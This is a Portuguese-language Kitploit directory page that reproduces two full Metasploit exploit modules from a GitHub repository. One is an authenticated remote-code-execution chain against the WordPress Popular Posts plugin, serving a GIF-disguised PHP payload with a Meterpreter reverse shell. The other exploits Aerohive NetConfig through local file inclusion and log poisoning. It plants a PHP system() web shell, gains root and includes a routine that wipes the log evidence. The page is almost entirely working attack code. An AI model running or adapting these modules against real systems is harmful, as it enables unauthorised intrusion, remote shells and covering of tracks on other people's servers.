Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
nate158g-m-w-n-l-p-d-a-o-e — ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wo | Kitploit
Ferramentas/GitHubGitHub/nate0634034090/nate158g-m-w-n-l-p-d-a-o-e
Penetration Testing FrameworksExploit FrameworksPayload GenerationVulnerability AnalysisWeb Application ExploitationRed Teaming
GitHubnate0634034090/nate158g-m-w-n-l-p-d-a-o-e

nate158g-m-w-n-l-p-d-a-o-e

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

Ver Repositório
124há 4 anosAinda não revisado

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wo

Compartilhar

nate158g-m-w-n-l-p-d-a-o-e### Este módulo requer Metasploit: https://metasploit.com/download

Fonte atual: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts RCE Autenticado', 'Description' => %q{ Este exploit requer que o Metasploit tenha um FQDN e a capacidade de executar um servidor web de payload nas portas 80, 443 ou 8080. O FQDN também não deve resolver para um endereço reservado (192/172/127/10). O servidor também deve responder a uma requisição HEAD para o payload, antes de receber uma requisição GET. Este exploit aproveita uma validação de entrada imprópria autenticada no plugin Wordpress Popular Posts <= 5.3.2. A cadeia de exploração é bastante complicada. A autenticação é necessária e o 'gd' para PHP é necessário no servidor. Em seguida, o plugin Popular Post é reconfigurado para permitir uma URL arbitrária para a imagem do post no widget. Um post é feito, então requisições são enviadas para o post para torná-lo mais popular do que o anterior #1 em 5. Uma vez que o post atinge o top 5, e após 60 segundos (esperamos 90) de atualização do cache do servidor, o widget da página inicial é carregado o que aciona o download do payload do nosso servidor pelo plugin. Nosso payload tem um cabeçalho 'GIF' e uma extensão dupla ('.gif.php') permitindo que código PHP arbitrário seja executado. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # módulo msf 'Simone Cristofaro', # edb 'Jerome Bruandet' # análise original ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Alvo Automático', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutos, outros visitantes do site podem acionar }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Nome de usuário da conta', 'admin']), OptString.new('PASSWORD', [true, 'Senha da conta', 'admin']), OptString.new('TARGETURI', [true, 'O caminho base do servidor Wordpress', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN do servidor metasploit. Não deve resolver para um endereço reservado (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'A porta local para escutar.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress não detectado.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts não é uma versão vulnerável') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop isso 5 vezes apenas se houver um atraso de tempo na escrita do arquivo pelo servidor (1..5).each do |i| print_status("Acionando shell em: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} em 10 segundos. Tentativa #{i} de 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Falha ao encontrar payload, pode não ter sido enviado corretamente.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Respondendo à requisição HEAD inicial (passou na verificação 1)') # de acordo com https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests devemos ter um Content-Length válido # no entanto, parece que é calculado dinamicamente, pois é sobrescrito para 0 nesta resposta. deixando aqui como notas. # também não quis enviar o payload verdadeiro no corpo para acertar o tamanho, pois isso dá maior chance de sermos pegos return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Respondendo à requisição GET (passou na verificação 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # por algum motivo estranho, precisamos fechar a conexão manualmente para o PHP/WP finalizar suas funções Rex.sleep(2) # esperar o WP terminar todas as verificações necessárias trigger_payload(on_disk_payload_name) end print_status("Recebida requisição #{request.method} inesperada") end def check_gd_installed(cookie) vprint_status('Verificando se gd está instalado') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Recuperando token wpp_admin') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"])/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('Atualizando configurações do popular posts para imagens') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Não foi possível salvar/alterar configurações') unless /<strong>Settings saved/ =~ res.body end def clear_cache(cookie, token) vprint_status('Limpando cache de imagens') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'action' => 'wpp_clear_thumbnail', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 end def enable_custom_fields(cookie, custom_nonce, post) # isso deve habilitar o ajax_nonce, e nos redirecionará de volta para a página de referência para que possamos obtê-lo. res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'), 'cookie' => cookie, 'keep_cookies' => 'true', 'method' => 'POST', 'vars_post' => { 'toggle-custom-fields-nonce' => custom_nonce, '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit", 'action' => 'toggle-custom-fields' } ) /name="_ajax_nonce-add-meta" value="([^"])/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Criando novo post') # obter ID do post e nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"])/ =~ res.body /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware( "(?<wp_nonce>[^"])/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('campo ajax nonce ausente, tentando reativar. se isso falhar, talvez seja necessário alterar a interface para ativar isso. Veja https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Ou verifique (ao escrever um post) Opções > Preferências > Painéis > Adicionais > Campos Personalizados.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("Post criado: #{post_id}") end fail_with(Failure::UnexpectedReply, 'Não foi possível recuperar nonces e/ou ID do novo post') unless ajax_nonce && wp_nonce && post_id # publicar novo post vprint_status("Escrevendo conteúdo no Post: #{post_id}") # isso é muito diferente do POC do EDB, eu continuava recebendo 200 para a página inicial com o exemplo deles, então isso é baseado no que a UI envia res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Post falhou ao publicar') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("Adicionando metadados maliciosos para redirecionar para #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Falha ao atualizar metadados') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # redirecionar conforme necessário res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 || res.code == 301 print_status("Enviando #{post_count} visualizações para #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/&lt;pegue este valor>/<e qualquer coisa depois> (1..post_count).each do |c| res = send_request_cgi!( 'uri' => "/#{location}", 'cookie' => cookie, 'keep_cookies' => 'true' ) # apenas enviar, não importa a resposta fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 res = send_request_cgi( # esta URL varia do POC no EDB, e é modelada após o que o navegador faz 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts') }, 'keep_cookies' => 'true', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { 'wpnonce' => wp_nonce, 'wpp_id' => post_id, 'sampling' => 0, 'sampling_rate' => 100 } ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 201 end fail_with(Failure::Unreachable, 'Site não está respondendo') unless res end def get_top_posts print_status('Determinando post com mais visualizações') res = get_widget />(?<views>\d+) views</ =~ res.body views = views.to_i print_status("Top Visualizações: #{views}") views += 5 # nos tornar o post principal unless datastore['VISTS'].nil? print_status("Substituindo contagem de posts devido a VISITS estar definido, de #{views} para #{datastore['VISITS']}") views = datastore['VISITS'] end views end def get_widget # carregar página inicial para obter o ID do widget. Às vezes parece que encontramos o widget quando ele está atualizando e não responde # o que mataria o exploit, então, neste caso, continuamos tentando. (1..10).each do || @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless @res.code == 200 /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body # carregar o widget diretamente (1..10).each do || @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'SRVHOST deve ser definido como um endereço IP (0.0.0.0 é inválido) para que a exploração seja bem-sucedida') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Login inválido, verifique as credenciais') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Nome do arquivo payload: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd não está instalado no servidor, inexplorável') unless check_gd_installed(cookie) post_count = get_top_posts # não precisamos mais passar o cookie, pois agora está salvo no cliente http token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('Iniciando servidor web para lidar com a requisição do payload de imagem') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('Aguardando 90s para atualização do cache pelo servidor') Rex.sleep(90) print_status('Tentando forçar o carregamento do shell visitando a página inicial e carregando o widget') res = get_widget print_good('Chegamos ao topo!') if res.body.include? payload_name # se res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Encontrado #{datastore['SRVHOSTNAME']} no conteúdo da página. Provavelmente o payload não foi copiado para o servidor.") # end # neste ponto, confiamos que nosso servidor web receberá requisições para fazer o resto acontecer endend### Este módulo requer Metasploit: https://metasploit.com/download

Fonte atual: MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Aerohive NetConfig 10.0r8a LFI e envenenamento de log para RCE', 'Description' => %q{ Este módulo explora vulnerabilidades de LFI e envenenamento de log (CVE-2020-16152) no Aerohive NetConfig, versão 10.0r8a build-242466 e anteriores, para obter execução remota de código não autenticada como o usuário root. O NetConfig é a interface web administrativa do Aerohive/Extreme Networks HiveOS. Versões vulneráveis permitem LFI porque dependem de uma versão do PHP 5 que é vulnerável a ataques de truncamento de string. Este módulo aproveita esse problema em conjunto com envenenamento de log para obter RCE como root. Após a exploração bem-sucedida, o aplicativo Aerohive NetConfig ficará travado enquanto o shell gerado permanecer aberto. Fechar a sessão deve tornar o aplicativo responsivo novamente. O módulo fornece uma opção de limpeza automática para limpar o log. No entanto, essa opção está desabilitada por padrão porque qualquer modificação no log /tmp/messages, mesmo via sed, pode tornar o alvo (temporariamente) inexplorável. Esse estado pode durar mais de uma hora. Este módulo foi testado com sucesso contra Aerohive NetConfig versões 8.2r4 e 10.0r7a. }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik de Jong', # github.com/eriknl - descoberta e PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-16152'], # ainda categorizado como RESERVADO ['URL', ''] # análise e código PoC ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Platform' => %w[linux unix], 'Arch' => [ ARCH_ARMLE, ARCH_CMD ], 'Targets' => [ [ 'Linux', { 'Arch' => [ARCH_ARMLE], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' } } ], [ 'CMD', { 'Arch' => [ARCH_CMD], 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' # este pode ser o único payload que funciona para este alvo } } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-02-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGETURI', [true, 'O caminho base para Aerohive NetConfig', '/']), OptBool.new('AUTO_CLEAN_LOG', [true, 'Limpar automaticamente o log /tmp/messages ao gerar um shell. AVISO! Isso pode tornar o alvo inexplorável', false]), ] end def auto_clean_log datastore['AUTO_CLEAN_LOG'] end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php5') }) unless res return CheckCode::Unknown('Conexão falhou.') end unless res.code == 200 && res.body.include?('Aerohive NetConfig UI') return CheckCode::Safe('O alvo não é um aplicativo Aerohive NetConfig.') end version = res.body.scan(/action="login.php5?version=(.*?)"/)&.flatten&.first unless version return CheckCode::Detected('Não foi possível determinar a versão do Aerohive NetConfig.') end begin if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') return CheckCode::Appears("O alvo é Aerohive NetConfig versão #{version}") else print_warning('Deve-se notar que não está claro quando/este problema foi corrigido, então versões após 10.0r8a ainda podem ser vulneráveis.') return CheckCode::Safe("O alvo é Aerohive NetConfig versão #{version}") end rescue StandardError => e return CheckCode::Unknown("Falha ao obter uma versão válida do Aerohive NetConfig: #{e}") end end def poison_log password = rand_text_alphanumeric(8..12) @shell_cmd_name = rand_text_alphanumeric(3..6) @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>" # Envenenar /tmp/messages print_status('Tentando envenenar o log em /tmp/messages...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php5'), 'vars_post' => { 'login_auth' => 0, 'miniHiveUI' => 1, 'authselect' => 'Name/Password', 'userName' => @poison_cmd, 'password' => password } }) unless res fail_with(Failure::Disconnected, 'Conexão falhou ao tentar envenenar o log em /tmp/messages') end unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==') fail_with(Failure::UnexpectedReply, 'Resposta inesperada recebida ao tentar envenenar o log em /tmp/messages') end print_status('Servidor respondeu como esperado. Continuando...') end def on_new_session(session) log_cleaned = false if auto_clean_log print_status('Tentando limpar o arquivo de log em /tmp/messages...') print_warning('Por favor, note que isso tornará o alvo (temporariamente) inexplorável. Esse estado pode durar mais de uma hora.') begin # Precisamos remover a linha que contém a chamada de sistema PHP de /tmp/messages # Os caracteres especiais na chamada de sistema PHP tornam quase impossível usar sed para substituir a chamada de sistema PHP por um nome de usuário comum. # Em vez disso, vamos evitar caracteres especiais encadeando alguns comandos grep para garantir que temos a linha correta e depois remover essa linha inteira # O impacto de usar sed para editar o arquivo em tempo real e usar grep para criar um novo arquivo e sobrescrever /tmp/messages com ele é o mesmo: # Em ambos os casos, o aplicativo provavelmente parará de escrever em /tmp/messages por um bom tempo (pode ser mais de uma hora), tornando o alvo inexplorável durante esse período. line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}" clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}" cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "\ "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute('/bin/sh', "-c "#{cmds_to_clean_log}"") # Aguardar pela limpeza Rex.sleep 5 # Verificar a chamada de sistema PHP em /tmp/messages messages_contents = session.fs.file.open('/tmp/messages').read.to_s # usar =~ aqui produziu resultados inesperados, então include? é usado em vez disso unless messages_contents.include?(@poison_cmd) log_cleaned = true end elsif session.type.to_s.eql?('shell') session.shell_command_token(cmds_to_clean_log.to_s) # Verificar a chamada de sistema PHP em /tmp/messages poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'") # usar =~ aqui produziu resultados inesperados, então include? é usado em vez disso unless poison_evidence.include?(@poison_cmd) log_cleaned = true end end rescue StandardError => e print_error("Erro durante a limpeza: #{e.message}") ensure super end unless log_cleaned print_warning("Não foi possível substituir a chamada de sistema PHP '#{@poison_cmd}' em /tmp/messages") end end if log_cleaned print_good('Log limpo com sucesso ao deletar a linha com a chamada de sistema PHP de /tmp/messages.') else print_warning("Apagar a evidência de envenenamento do log exigirá editar/remover manualmente a linha em /tmp/messages que contém o comando de envenenamento:\n\t#{@poison_cmd}") print_warning('Por favor, note que qualquer modificação em /tmp/messages, mesmo via sed, tornará o alvo (temporariamente) inexplorável. Esse estado pode durar mais de uma hora.') print_warning('Deletar /tmp/messages ou limpar o arquivo pode quebrar o aplicativo.') end end def execute_command(cmd, _opts = {}) print_status('Tentando executar o payload') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'action.php5'), 'vars_get' => { '_action' => 'list', 'debug' => 'true' }, 'vars_post' => { '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # Acionar LFI através de truncamento de caminho @shell_cmd_name => cmd } }, 0) print_warning('Em caso de exploração bem-sucedida, o aplicativo web Aerohive NetConfig ficará travado enquanto o shell gerado permanecer aberto.') end def exploit poison_log if target.arch.first == ARCH_CMD print_status('Executando o payload') execute_command(payload.encoded) else execute_cmdstager(background: true) end endend

Baixar ferramenta
https://github.com/rapid7/metasploit-framework##class
https://github.com/eriknl/CVE-2020-16152